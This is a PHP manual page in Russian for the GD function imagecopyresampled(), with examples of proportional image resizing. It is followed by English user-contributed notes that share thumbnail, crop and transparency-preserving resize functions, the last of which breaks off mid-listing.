imagecopyresampled() копирует прямоугольную часть одного изображения на другое изображение, интерполируя значения пикселов таким образом, чтобы уменьшение размера изображения не уменьшало его чёткости.

Другими словами, imagecopyresampled() берет прямоугольный участок из src_image с шириной src_width и высотой src_height на координатах src_x,src_y и помещает его в прямоугольный участок изображения dst_image шириной dst_width и высотой dst_height на координатах dst_x,dst_y.

Если координаты, ширина или высота исходного и конечного изображений различны, копируемый фрагмент будет растянут или сжат. Координаты отсчитываются от левого верхнего угла изображения. Функцию можно использовать для наложения участков на то же изображение, с которого они скопированы (если dst_image имеет то же значение, что и src_image), но если участки будут пересекаться, результат непредсказуем.

Список параметров

dst_image

Ресурс целевого изображения.

src_image

Ресурс исходного изображения.

dst_x

x-координата результирующего изображения.

dst_y

y-координата результирующего изображения.

src_x

x-координата исходного изображения.

src_y

y-координата исходного изображения.

dst_width

Результирующая ширина.

dst_height

Результирующая высота.

src_width

Ширина исходного изображения.

src_height

Высота исходного изображения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | dst_image и src_image теперь ожидают экземпляр GdImage; ранее ожидался ресурс (resource).

Примеры

Пример #1 Простой пример

В этом примере изображение будет сжато до половины исходного размера.

<?php
// файл
$filename = 'test.jpg';
$percent = 0.5;

// тип содержимого
header('Content-Type: image/jpeg');

// получение новых размеров
list($width, $height) = getimagesize($filename);
$new_width = $width * $percent;
$new_height = $height * $percent;

// ресэмплирование
$image_p = imagecreatetruecolor($new_width, $new_height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

// вывод
imagejpeg($image_p, null, 100);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Простой пример

Пример #2 Ресэмплирование изображения с сохранением пропорций

В этом примере изображение будет сжато до 200 пикселов по ширине или высоте, смотря что больше.

<?php
// файл
$filename = 'test.jpg';

// задание максимальной ширины и высоты
$width = 200;
$height = 200;

// тип содержимого
header('Content-Type: image/jpeg');

// получение новых размеров
list($width_orig, $height_orig) = getimagesize($filename);

$ratio_orig = $width_orig/$height_orig;

if ($width/$height > $ratio_orig) {
$width = $height*$ratio_orig;
} else {
$height = $width/$ratio_orig;
}

// ресэмплирование
$image_p = imagecreatetruecolor($width, $height);
$image = imagecreatefromjpeg($filename);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);

// вывод
imagejpeg($image_p, null, 100);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Ресэмплирование изображения с сохранением пропорций

Примечания

Замечание:

Существует проблема связанная с ограничениями палитровых изображений (255+1 цвет). Ресэмплирование или фильтрация изображения требует больше цветов, чем 255. Для расчёта нового пиксела и его цвета применяется некоторое приближение. В случае палитровых изображений мы пытаемся создать новый цвет, а если это не удаётся, мы выбираем ближайший (теоретически) вычисленный цвет. Это не всегда визуально ближайший цвет. Такой подход может давать в результате пустые (или визуально пустые) изображения. Для устранения этой проблемы, пожалуйста, используйте truecolor-изображения в качестве результирующих, создаваемые функцией imagecreatetruecolor().

Смотрите также

  • imagecopyresized() - Копирование и изменение размера части изображения
  • imagescale() - Масштабировать изображение по заданной ширине и высоте
  • imagecrop() - Обрезать изображение до заданного прямоугольника

User Contributed Notes

mark at manngo dot net 12-Feb-2022 07:57
Note that as of PHP 8.1, you will get deprecated errors if the arguments are floating point. You will save yourself a lot of angst if you cast the arguments:

<?php
    imagecopyresampled(
        $dst_image, $src_image,
        (int) $dst_x,        (int) $dst_y,
        (int) $src_x,        (int) $src_y,
        (int) $dst_width,    (int) $dst_height,
        (int) $src_width,    (int) $src_height
    );
?>

You could also have rounded them off, but I think casting them is truer to the original behaviour.
aykuty at gmail dot com 14-Nov-2018 08:21
scale image with ratio and then completes to the canvas size by centering

<?php

/*
verilen maksimum degerlere gore resmi boyutland?r?r ve beyaz renk ile cerceveye ortalar. trendyol entegrasyonu icin yazm?st?m.

Aykut YILDIZGORUR
aykuty add gmail dot com
*/

function set_image2canvas($file, $new_file, $canvas_width=1200, $canvas_height =1800, $quality=100) {

    if (!file_exists( $new_file )) {

        list($width, $height, $type, $attr) = getimagesize( $file );

        if($width> $height) {
                $width_tt=$canvas_width;
                $height_tt=round($height/$width*$canvas_width);
                $off_y = ceil(( $canvas_height - $height_tt)/2);
                $off_x=0;

        } else {
                $height_tt=$canvas_height;
                $width_tt=round($width/$height*$canvas_height);
                $off_x=ceil(($canvas_width - $width_tt)/2);
                $off_y=0;
        }

        $thumb=imagecreatefromjpeg( $file );
        $thumb_p = imagecreatetruecolor($canvas_width, $canvas_height);

        $bg = imagecolorallocate ( $thumb_p, 255, 255, 255 );
        imagefill ( $thumb_p, 0, 0, $bg );
        imagecopyresampled($thumb_p, $thumb, $off_x, $off_y, 0, 0, $width_tt, $height_tt, $width, $height);

        imagejpeg($thumb_p,$new_file,$quality);

    }else{ //hedef resim zaten var
            return -1;
    }
}
?>
julien at go-on-web dot com 02-Apr-2014 08:59
Windows does not accept floating width and height...

So, in "Example #2 Resampling an image proportionally", prefer :
<?php
if ($width/$height > $ratio_orig) {
   $width = round( $height*$ratio_orig );
} else {
   $height = round( $width/$ratio_orig );
}
?>
(used "round")
otherwise your image wont be resized.
kazuya 11-Mar-2014 02:24
<?php

$new_file = img_resize("./img/", "test.jpg","copy_test.jpg",300);
echo "<IMG src = '$new_file'>";

function img_resize($path,$tmp_name,$new_name,$new_width){
    if (!file_exists($path.$filename)){
        echo "file not found!";
        exit;
    }
    if (!is_writable($path)){
        echo "error:permission denied!";
        exit;
    }
    list($width, $height) = getimagesize($path . $tmp_name);
    $new_height = abs($new_width * $height / $width);
    $image_p = imagecreatetruecolor($new_width, $new_height);
    $image = imagecreatefromjpeg($path . $tmp_name);
    imagecopyresampled($image_p, $image, 0, 0, 0, 0,
                        $new_width, $new_height, $width, $height);
    imagejpeg($image_p, $path . $new_name);
    return $path.$new_name;
}

?>
sam at durosoft.com 17-Aug-2013 06:18
The ultimate smart image re-sizing routine. You provide the original image, and a desired width and/or height. The function will intelligently re-size the original image to fit, centered, within the specified dimensions. Either width or height can be omitted to have the re-size "lock" only on width or height. Fantastic for thumbnail generation. Designed to work with PNG's.

function resize_image_smart($orig, $dest_width=null, $dest_height=null)
{
  $orig_width = imagesx($orig);
  $orig_height = imagesy($orig);
  $vertical_offset = 0;
  $horizontal_offset = 0;
  if($dest_width == null)
  {
    if($dest_height == null)
    {
      die('$dest_width and $dest_height cant both be null!');
    }
    // height is locked
    $dest_width = $dest_height * $orig_width / $orig_height;
  } else {
    if($dest_height == null)
    {
      // width is locked
      $dest_height = $dest_width * $orig_height / $orig_width;
    } else {
      // both dimensions are locked
      $vertical_offset = $dest_height - ($orig_height * $dest_width) / $orig_width;
      $horizontal_offset = $dest_width - ($dest_height * $orig_width) / $orig_height;
      if($vertical_offset < 0) $vertical_offset = 0;
      if($horizontal_offset < 0) $horizontal_offset = 0;
    }
  }
  $img = imagecreatetruecolor($dest_width, $dest_height);
  imagesavealpha($img, true);
  imagealphablending($img, false);
  $transparent = imagecolorallocatealpha($img, 0, 0, 0, 127);
  imagefill($img, 0, 0, $transparent);
  imagecopyresampled($img, $orig, round($horizontal_offset / 2),
                                  round($vertical_offset / 2),
                                  0,
                                  0,
                                  round($dest_width - $horizontal_offset),
                                  round($dest_height - $vertical_offset),
                                  $orig_width,
                                  $orig_height);
  return $img;
}
wbcarts at juno dot com 18-Jul-2013 07:14
FOUR RECTANGLES

                  $src_image                                   $dst_image
+------------+---------------------------------+   +------------+--------------------+
|            |                                 |   |            |                    |
|            |                                 |   |         $dst_y                  |
|            |                                 |   |            |                    |
|         $src_y                               |   +-- $dst_x --+----$dst_width----+ |
|            |                                 |   |            |                  | |
|            |                                 |   |            |    Resampled     | |
|            |                                 |   |            |                  | |
+-- $src_x --+------ $src_width ------+        |   |       $dst_height             | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            |                  | |
|            |                        |        |   |            +------------------+ |
|            |        Sample          |        |   |                                 |
|            |                        |        |   |                                 |
|            |                        |        |   |                                 |
|       $src_height                   |        |   |                                 |
|            |                        |        |   +---------------------------------+
|            |                        |        |
|            |                        |        |
|            +------------------------+        |
|                                              |
|                                              |
+----------------------------------------------+
hoangvu4000 at gmail dot com 26-May-2013 05:50
My complete function to resize an image  with exif data

<?php
function CreateThumbnail($pic,$thumb,$thumbwidth, $quality = 100)
{

        $im1=ImageCreateFromJPEG($pic);
        if(function_exists("exif_read_data")){
                $exif = exif_read_data($pic);
                if(!empty($exif['Orientation'])) {
                switch($exif['Orientation']) {
                case 8:
                    $im1 = imagerotate($im1,90,0);
                    break;
                case 3:
                    $im1 = imagerotate($im1,180,0);
                    break;
                case 6:
                    $im1 = imagerotate($im1,-90,0);
                    break;
                }
                }
        }
        $info = @getimagesize($pic);

        $width = $info[0];

        $w2=ImageSx($im1);
        $h2=ImageSy($im1);
        $w1 = ($thumbwidth <= $info[0]) ? $thumbwidth : $info[0]  ;

        $h1=floor($h2*($w1/$w2));
        $im2=imagecreatetruecolor($w1,$h1);

        imagecopyresampled ($im2,$im1,0,0,0,0,$w1,$h1,$w2,$h2);
        $path=addslashes($thumb);
        ImageJPEG($im2,$path,$quality);
        ImageDestroy($im1);
        ImageDestroy($im2);

}
?>
alex-thennstaett-remove at gmx dot net 10-Nov-2012 05:06
Having updated GD-Library from 2.0.35-r1 to 2.0.35-r3 using negative numbers for $dstX or $dstY started to produce unpredictable results, such as inserting shrinked images and enlarging $dstH or $dstW all by itself. While it did work fine previously, one should avoid using or calculating negative numbers for imagecopyresampled from the beginning.
promaty at gmail dot com 18-May-2011 05:26
Here is my ultimate image resizer that preserves transparency for gif's and png's and has an option to crop images to fixed dimensions (preserves image proportions by default)

<?php
function image_resize($src, $dst, $width, $height, $crop=0){

  if(!list($w, $h) = getimagesize($src)) return "Unsupported picture type!";

  $type = strtolower(substr(strrchr($src,"."),1));
  if($type == 'jpeg') $type = 'jpg';
  switch($type){
    case 'bmp': $img = imagecreatefromwbmp($src); break;
    case 'gif': $img = imagecreatefromgif($src); break;
    case 'jpg': $img = imagecreatefromjpeg($src); break;
    case 'png': $img = imagecreatefrompng($src); break;
    default : return "Unsupported picture type!";
  }

  // resize
  if($crop){
    if($w < $width or $h < $height) return "Picture is too small!";
    $ratio = max($width/$w, $height/$h);
    $h = $height / $ratio;
    $x = ($w - $width / $ratio) / 2;
    $w = $width / $ratio;
  }
  else{
    if($w < $width and $h < $height) return "Picture is too small!";
    $ratio = min($width/$w, $height/$h);
    $width = $w * $ratio;
    $height = $h * $ratio;
    $x = 0;
  }

  $new = imagecreatetruecolor($width, $height);

  // preserve transparency
  if($type == "gif" or $type == "png"){
    imagecolortransparent($new, imagecolorallocatealpha($new, 0, 0, 0, 127));
    imagealphablending($new, false);
    imagesavealpha($new, true);
  }

  imagecopyresampled($new, $img, 0, 0, $x, 0, $width, $height, $w, $h);

  switch($type){
    case 'bmp': imagewbmp($new, $dst); break;
    case 'gif': imagegif($new, $dst); break;
    case 'jpg': imagejpeg($new, $dst); break;
    case 'png': imagepng($new, $dst); break;
  }
  return true;
}
?>

Example that I use when uploading new images to the server.

This saves the original picture in the form:
original.type

and creates a new thumbnail:
100x100.type

<?php
  $pic_type = strtolower(strrchr($picture['name'],"."));
  $pic_name = "original$pic_type";
  move_uploaded_file($picture['tmp_name'], $pic_name);
  if (true !== ($pic_error = @image_resize($pic_name, "100x100$pic_type", 100, 100, 1))) {
    echo $pic_error;
    unlink($pic_name);
  }
  else echo "OK!";
?>

Cheers!
guru_boy87 at hotmail dot com 23-Jun-2010 04:52
Function to resize an image.

<?php
function resizeImage($originalImage,$toWidth,$toHeight)
{

    list($width, $height) = getimagesize($originalImage);
    $xscale=$width/$toWidth;
    $yscale=$height/$toHeight;

    if ($yscale>$xscale){
        $new_width = round($width * (1/$yscale));
        $new_height = round($height * (1/$yscale));
    }
    else {
        $new_width = round($width * (1/$xscale));
        $new_height = round($height * (1/$xscale));
    }

    $imageResized = imagecreatetruecolor($new_width, $new_height);
    $imageTmp     = imagecreatefromjpeg ($originalImage);
    imagecopyresampled($imageResized, $imageTmp, 0, 0, 0, 0, $new_width, $new_height, $width, $height);

    return $imageResized;

}
?>
seifer at loveletslive dot com 25-Oct-2009 05:27
Okay so I saw that others have posted this already but I just messed around and made it so figured I would share it.

Mine works, not to say others don't, I haven't tested them.

This function creates a thumbnail of the specfied size.
If the thumbnail is a different ration it will automatically crop the center of the source image.

It works if the source image is bigger or smaller than the desired "cropped thumbnail."

Here is the code...
<?php
function CroppedThumbnail($imgSrc,$thumbnail_width,$thumbnail_height) { //$imgSrc is a FILE - Returns an image resource.
    //getting the image dimensions
    list($width_orig, $height_orig) = getimagesize($imgSrc);
    $myImage = imagecreatefromjpeg($imgSrc);
    $ratio_orig = $width_orig/$height_orig;

    if ($thumbnail_width/$thumbnail_height > $ratio_orig) {
       $new_height = $thumbnail_width/$ratio_orig;
       $new_width = $thumbnail_width;
    } else {
       $new_width = $thumbnail_height*$ratio_orig;
       $new_height = $thumbnail_height;
    }

    $x_mid = $new_width/2;  //horizontal middle
    $y_mid = $new_height/2; //vertical middle

    $process = imagecreatetruecolor(round($new_width), round($new_height));

    imagecopyresampled($process, $myImage, 0, 0, 0, 0, $new_width, $new_height, $width_orig, $height_orig);
    $thumb = imagecreatetruecolor($thumbnail_width, $thumbnail_height);
    imagecopyresampled($thumb, $process, 0, 0, ($x_mid-($thumbnail_width/2)), ($y_mid-($thumbnail_height/2)), $thumbnail_width, $thumbnail_height, $thumbnail_width, $thumbnail_height);

    imagedestroy($process);
    imagedestroy($myImage);
    return $thumb;
}

//Create the thumbnail
$newThumb = CroppedThumbnail("MyImageName.jpg",75,100);

// And display the image...
header('Content-type: image/jpeg');
imagejpeg($newThumb);
?>
michael at heymichael dot com 22-Oct-2009 10:08
imagecopyresampled() works amazingly well, but here is something NOT to try with it:

The resize routine I wrote looks for pixel widths, and resizes images based on the notion that if their widths and heights are too big, so are their byte sizes. It worked out well at first.

But when I saw huge byte-size images slipping through beneath my 1000px-wide benchmark, I figured I'd subject the smaller-width images to resizing if their filesize() exceeded 100K.

The idea was that I'd "resize" them keeping their original widths and heights (i.e. in (1) below, $newW = $oldW, $newH = $oldH), and letting the "75" at (2) below reduce the byte size.

DON'T try that. imagecopyresampled() will lock up the server trying to resize an 800px-wide image to a "new" width of 800px. (I caught that on my Windows server before ever putting it on the destination Linux server, so take that with a grain of salt.)

I got around it by making $newW = ($picW * 0.99), etc. You get the byte-size reduction you want without locking up.

(1) imagecopyresampled($image_p, $image, 0, 0, 0, 0, $newW, $newH, $picW, $picH);

(2) imagejpeg($image_p, $theFile, 75);
asgaroth dot belem at gmail dot com 27-Aug-2009 12:42
In case you are having trouble ( like I did ) and getting some kind of noise in the resampled image.

then changing imagecopyresampled() with imagecopyresized()  removes the noise, found that here: http://bugs.php.net/bug.php?id=45030

Do not ask me why. but it works.
asgaroth dot belem at gmail dot com 26-Aug-2009 11:38
About preserving the  transparency when resizing PNGs this was the only thing that worked for me:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocatealpha($new_watermark, 0, 0, 0, 127));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
?>

Tried without success:

<?php imagealphablending($new_watermark, false);
        $color = imagecolortransparent($new_watermark, imagecolorallocate($new_watermark, 0, 0, 0));
        imagefill($new_watermark, 0, 0, $color);
        imagesavealpha($new_watermark, true);
        imagecopyresampled($new_watermark, $watermark, 0, 0, 0, 0, $new_watermark_width, $new_watermark_height, imagesx($watermark),imagesy($watermark));
 ?>

hope it helps someone.
z3n666 at gmail dot com 27-Apr-2009 11:19
I was looking around and couldn't find a function that resizes images to any ratio without leaving a blank area, so i wrote this one. It's able to resize images to any size ratio, when the ratio is no match with the original it will crop proportional area on the original and resize it.

<?php

function _ckdir($fn) {
    if (strpos($fn,"/") !== false) {
        $p=substr($fn,0,strrpos($fn,"/"));
        if (!is_dir($p)) {
            _o("Mkdir: ".$p);
            mkdir($p,777,true);
        }
    }
}
function img_resizer($src,$quality,$w,$h,$saveas) {
    /* v2.5 with auto crop */
    $r=1;
    $e=strtolower(substr($src,strrpos($src,".")+1,3));
    if (($e == "jpg") || ($e == "peg")) {
        $OldImage=ImageCreateFromJpeg($src) or $r=0;
    } elseif ($e == "gif") {
        $OldImage=ImageCreateFromGif($src) or $r=0;
    } elseif ($e == "bmp") {
        $OldImage=ImageCreateFromwbmp($src) or $r=0;
    } elseif ($e == "png") {
        $OldImage=ImageCreateFromPng($src) or $r=0;
    } else {
        _o("Not a Valid Image! (".$e.") -- ".$src);$r=0;
    }
    if ($r) {
        list($width,$height)=getimagesize($src);
        // check if ratios match
        $_ratio=array($width/$height,$w/$h);
        if ($_ratio[0] != $_ratio[1]) { // crop image

            // find the right scale to use
            $_scale=min((float)($width/$w),(float)($height/$h));

            // coords to crop
            $cropX=(float)($width-($_scale*$w));
            $cropY=(float)($height-($_scale*$h));

            // cropped image size
            $cropW=(float)($width-$cropX);
            $cropH=(float)($height-$cropY);

            $crop=ImageCreateTrueColor($cropW,$cropH);
            // crop the middle part of the image to fit proportions
            ImageCopy(
                $crop,
                $OldImage,
                0,
                0,
                (int)($cropX/2),
                (int)($cropY/2),
                $cropW,
                $cropH
            );
        }

        // do the thumbnail
        $NewThumb=ImageCreateTrueColor($w,$h);
        if (isset($crop)) { // been cropped
            ImageCopyResampled(
                $NewThumb,
                $crop,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $cropW,
                $cropH
            );
            ImageDestroy($crop);
        } else { // ratio match, regular resize
            ImageCopyResampled(
                $NewThumb,
                $OldImage,
                0,
                0,
                0,
                0,
                $w,
                $h,
                $width,
                $height
            );
        }
        _ckdir($saveas);
        ImageJpeg($NewThumb,$saveas,$quality);
        ImageDestroy($NewThumb);
        ImageDestroy($OldImage);
    }
    return $r;
}

?>
satanas147 at gmail dot com 02-Apr-2009 08:33
Another add-on to previous php5 class for thumbnail (with a merge of Matt and Zorro's proposals).
This is dedicated to generate thumbnail on the fly for a webpage using the subclass thumbnail.
It saves the generated thumb as myimage_tn, in the same directory.
I'm quite new with php5, so I think this could be optimized, but it seems to work fine.

<?php
// Imaging
class imaging
{
    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {
        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));
        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;
        }
        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;
        }
        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {
            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;
        }
        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);
    }

    // Set maximum image size (pixels)
    public function set_size($max_x = 100,$max_y = 100)
    {
        // Resize
        if($this->x_input > $max_x || $this->y_input > $max_y)
        {
            $a= $max_x / $max_y;
            $b= $this->x_input / $this->y_input;
            if ($a<$b)
            {
                $this->x_output = $max_x;
                $this->y_output = ($max_x / $this->x_input) * $this->y_input;
            }
            else
            {
                $this->y_output = $max_y;
                $this->x_output = ($max_y / $this->y_input) * $this->x_input;
            }
            // Ready
            $this->resize = TRUE;
        }
        // Don't resize
        else { $this->resize = FALSE; }
    }
    // Set image quality (JPEG only)
    public function set_quality($quality)
    {
        if(is_int($quality))
        {
            $this->quality = $quality;
        }
    }
    // Save image
    public function save_img($path)
    {
        // Resize
        if($this->resize)
        {
            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);
        }
        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {
            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }
        }
        // Save PNG
        elseif($this->format == "PNG")
        {
            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
        // Save GIF
        elseif($this->format == "GIF")
        {
            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }
        }
    }
    // Get width
    public function get_width()
    {
        return $this->x_input;
    }
    // Get height
    public function get_height()
    {
        return $this->y_input;
    }
    // Clear image cache
    public function clear_cache()
    {
        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);
    }
}
class thumbnail extends imaging {
    private $image;
    private $width;
    private $height;

    function __construct($image,$width,$height) {
parent::set_img($image);
parent::set_quality(80);
parent::set_size($width,$height);
            $this->thumbnail= pathinfo($image, PATHINFO_DIRNAME).pathinfo($image, PATHINFO_FILENAME).'_tn.'.pathinfo($image, PATHINFO_EXTENSION);
parent::save_img($this->thumbnail);
parent::clear_cache();
        }
    function __toString() {
            return $this->thumbnail;
    }
}

********
* DEMO *
********
$thumb = new thumbnail('./image_dir/sub_dir/myimage.jpg',100,100);
echo '<img src=\''.$thumb.'\' alt=\'myimage\' title=\'myimage\'/>';

    ?>
zuegs 31-Mar-2009 10:52
Resampling GIFs and retain transparency dosen't work always, as dependent on the resample factor the resulting resampled image has some pattern-noise that prevents "imagegif" to find all the transparent-pixels.
One way to fix this, is to reset all pixels with high alpha to full-transparent:
<?php
// load/create images
$img_src=imagecreatefromgif($g_srcfile);
$img_dst=imagecreatetruecolor($g_iw,$g_ih);
imagealphablending($img_dst, false);

// get and reallocate transparency-color
$transindex = imagecolortransparent($img_src);
if($transindex >= 0) {
  $transcol = imagecolorsforindex($img_src, $transindex);
  $transindex = imagecolorallocatealpha($img_dst, $transcol['red'], $transcol['green'], $transcol['blue'], 127);
  imagefill($img_dst, 0, 0, $transindex);
}

// resample
imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $g_iw, $g_ih, $g_is[0], $g_is[1]);

// restore transparency
if($transindex >= 0) {
  imagecolortransparent($img_dst, $transindex);
  for($y=0; $y<$g_ih; ++$y)
    for($x=0; $x<$g_iw; ++$x)
      if(((imagecolorat($img_dst, $x, $y)>>24) & 0x7F) >= 100) imagesetpixel($img_dst, $x, $y, $transindex);

// save GIF
imagetruecolortopalette($img_dst, true, 255);
imagesavealpha($img_dst, false);
imagegif($img_dst, $g_dstfile);
imagedestroy($img_dst);
?>
Warren 17-Jan-2009 11:15
This is a function I wrote for making thumbnails -  it will accept a source *image resource* and destination *path*, plus the max dimension and whether the thumbnail should be square.

I chose to accept a resource as the source to make it a bit more efficient to create multiple sizes. For example:

<?php
$src_im=@imagecreatefromjpeg($pathtofile);
$large = resize($src_im,$destination_large,1024);
@imagedestroy($src_im);
$medium = resize($large,$destination_medium,500);
@imagedestroy($large);
$small = resize($medium,$destination_small,125);
@imagedestroy($medium);
$square = resize($small,$destination_square,75,TRUE);
@imagedestroy($small);
@imagedestroy($square);

function resize($src_im, $dpath, $maxd, $square=false) {
    $src_width = imagesx($src_im);
    $src_height = imagesy($src_im);
    $src_w=$src_width;
    $src_h=$src_height;
    $src_x=0;
    $src_y=0;
    if($square){
        $dst_w = $maxd;
        $dst_h = $maxd;
        if($src_width>$src_height){
            $src_x = ceil(($src_width-$src_height)/2);
            $src_w=$src_height;
            $src_h=$src_height;
        }else{
            $src_y = ceil(($src_height-$src_width)/2);
            $src_w=$src_width;
            $src_h=$src_width;
        }
    }else{
        if($src_width>$src_height){
            $dst_w=$maxd;
            $dst_h=floor($src_height*($dst_w/$src_width));
        }else{
            $dst_h=$maxd;
            $dst_w=floor($src_width*($dst_h/$src_height));
        }
    }
    $dst_im=@imagecreatetruecolor($dst_w,$dst_h);
    @imagecopyresampled($dst_im, $src_im, 0, 0, $src_x, $src_y, $dst_w, $dst_h, $src_w, $src_h);
    @imagejpeg($dst_im,$dpath);
    return $dst_im;
}
?>
MBorgPL at gmail dot com 28-Dec-2008 10:53
Another addition to zorroswordsman at gmail dot com's resize class.

The function takes $_FILES['sent_image'] as 1st parameter. The 2nd is complete destination path.

It only moves images.

It returns destination path if succeeded, and false if any error occurred.

<?php
public function move_image($tmp_img, $dest_img)
{
    //verifies if the uploaded file is an image
    if (strpos($tmp_img['type'], 'image') !== false)
        {
        //moves the uploaded file into the destination place
        if (move_uploaded_file($tmp_img['tmp_name'], $dest_img)) {
            return $dest_img;
        }
    }
    return false;
}
?>
MBorg_PL 27-Dec-2008 03:39
Another tiny ammendment to zorroswordsman at gmail dot com's resize class AND matt at rees-jenkins dot co dot uk addition. The class may resize to different width and height not only same ones:

<?php
// Set maximum image size (pixels)
public function set_size($max_x = 100,$max_y = 100)
{

    // Resize
    if($this->x_input > $max_x || $this->y_input > $max_y)
    {

        $a= $max_x / $max_y;
        $b= $this->x_input / $this->y_input;

        if ($a<$b)
        {

            $this->x_output = $max_x;
            $this->y_output = ($max_x / $this->x_input) * $this->y_input;

        }
        else
        {

            $this->y_output = $max_y;
            $this->x_output = ($max_y / $this->y_input) * $this->x_input;

        }
        // Ready

        $this->resize = TRUE;

    }

    // Don't resize
    else { $this->resize = FALSE; }

}
?>

And the use of the class is now:

<?php

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(250,150);
$img->save_img("small_250x150_" . $src);

// Baby thumbnail
$img->set_size(50,250);
$img->save_img("baby_50x250_" . $src);

// Finalize
$img->clear_cache();

?>
matt at rees-jenkins dot co dot uk 14-Oct-2008 03:32
A tiny ammendment to zorroswordsman at gmail dot com's resize class. It was only resizing if both the width AND height where greater than the desired size. This should fix it:

<?php
// Set maximum image size (pixels)
function set_size($size = 100)
{
    // Resize
    if($this->x_input > $size || $this->y_input > $size)
    {
        // Wide
        if($this->x_input >= $this->y_input)
        {
            $this->x_output = $size;
            $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;
        }
        // Tall
        else
        {
            $this->y_output = $size;
            $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;
        }
        // Ready
        $this->resize = TRUE;
    }
    // Don't resize
    else { $this->resize = FALSE; }
}
?>
zorroswordsman at gmail dot com 24-Sep-2008 07:46
I've created a PHP5 image resize class, using ImageCopyResampled, that someone might find useful, with support for JPEG, PNG, and GIF formats. It retains the original image's aspect ratio when resizing, and doesn't resize or resample if the original width and height is smaller then the desired resize.

<?php

// Imaging
class imaging
{

    // Variables
    private $img_input;
    private $img_output;
    private $img_src;
    private $format;
    private $quality = 80;
    private $x_input;
    private $y_input;
    private $x_output;
    private $y_output;
    private $resize;

    // Set image
    public function set_img($img)
    {

        // Find format
        $ext = strtoupper(pathinfo($img, PATHINFO_EXTENSION));

        // JPEG image
        if(is_file($img) && ($ext == "JPG" OR $ext == "JPEG"))
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromJPEG($img);
            $this->img_src = $img;

        }

        // PNG image
        elseif(is_file($img) && $ext == "PNG")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromPNG($img);
            $this->img_src = $img;

        }

        // GIF image
        elseif(is_file($img) && $ext == "GIF")
        {

            $this->format = $ext;
            $this->img_input = ImageCreateFromGIF($img);
            $this->img_src = $img;

        }

        // Get dimensions
        $this->x_input = imagesx($this->img_input);
        $this->y_input = imagesy($this->img_input);

    }

    // Set maximum image size (pixels)
    public function set_size($size = 100)
    {

        // Resize
        if($this->x_input > $size && $this->y_input > $size)
        {

            // Wide
            if($this->x_input >= $this->y_input)
            {

                $this->x_output = $size;
                $this->y_output = ($this->x_output / $this->x_input) * $this->y_input;

            }

            // Tall
            else
            {

                $this->y_output = $size;
                $this->x_output = ($this->y_output / $this->y_input) * $this->x_input;

            }

            // Ready
            $this->resize = TRUE;

        }

        // Don't resize
        else { $this->resize = FALSE; }

    }

    // Set image quality (JPEG only)
    public function set_quality($quality)
    {

        if(is_int($quality))
        {

            $this->quality = $quality;

        }

    }

    // Save image
    public function save_img($path)
    {

        // Resize
        if($this->resize)
        {

            $this->img_output = ImageCreateTrueColor($this->x_output, $this->y_output);
            ImageCopyResampled($this->img_output, $this->img_input, 0, 0, 0, 0, $this->x_output, $this->y_output, $this->x_input, $this->y_input);

        }

        // Save JPEG
        if($this->format == "JPG" OR $this->format == "JPEG")
        {

            if($this->resize) { imageJPEG($this->img_output, $path, $this->quality); }
            else { copy($this->img_src, $path); }

        }

        // Save PNG
        elseif($this->format == "PNG")
        {

            if($this->resize) { imagePNG($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

        // Save GIF
        elseif($this->format == "GIF")
        {

            if($this->resize) { imageGIF($this->img_output, $path); }
            else { copy($this->img_src, $path); }

        }

    }

    // Get width
    public function get_width()
    {

        return $this->x_input;

    }

    // Get height
    public function get_height()
    {

        return $this->y_input;

    }

    // Clear image cache
    public function clear_cache()
    {

        @ImageDestroy($this->img_input);
        @ImageDestroy($this->img_output);

    }

}

##### DEMO #####

// Image
$src = "myimage.jpg";

// Begin
$img = new imaging;
$img->set_img($src);
$img->set_quality(80);

// Small thumbnail
$img->set_size(200);
$img->save_img("small_" . $src);

// Baby thumbnail
$img->set_size(50);
